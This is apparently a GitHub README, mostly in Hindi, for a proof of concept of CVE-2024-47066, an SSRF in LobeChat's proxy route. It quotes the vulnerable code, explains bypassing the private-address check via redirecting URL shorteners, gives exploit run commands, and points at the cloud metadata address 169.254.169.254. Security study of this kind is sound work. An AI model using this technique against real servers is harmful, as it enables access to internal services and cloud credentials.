
Proof-of-Concept for CVE-2024-47066
★ CVE-2024-47066 LobeChat SSRF प्रमाण-अवधारणा ★
CVE-2024-47066 : Lobe Chat एक ओपन-सोर्स कृत्रिम बुद्धिमत्ता चैट फ्रेमवर्क है। संस्करण 1.19.13 से पहले, src/app/api/proxy/route.ts में लागू सर्वर-साइड रिक्वेस्ट फोर्जरी सुरक्षा रीडायरेक्ट पर विचार नहीं करती है और हमलावर द्वारा एक बाहरी दुर्भावनापूर्ण URL प्रदान करने पर इसे बायपास किया जा सकता है जो आंतरिक संसाधनों जैसे कि निजी नेटवर्क या लूपबैक एड्रेस पर रीडायरेक्ट करता है। संस्करण 1.19.13 में इस समस्या के लिए एक बेहतर फिक्स शामिल है।
रिपोर्टर: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(बाहरी) LodeChat --> SSRF हमला --> (आंतरिक) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
लाइन 26 के नीचे, रीडायरेक्ट प्रतिक्रिया निर्धारित करने का कोई स्थान नहीं है। इसलिए, URL शॉर्टनर का उपयोग करते समय, आप "isPrivate()" फ़ंक्शन को आसानी से बायपास कर सकते हैं।
http://169.254.169.254 पर अनुरोध करें
यह रिपॉजिटरी CVE-2024-47066 के लिए SSRF शोषण होने का इरादा नहीं है। इस प्रोजेक्ट का उद्देश्य लोगों को इस कमजोरी के बारे में जानने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।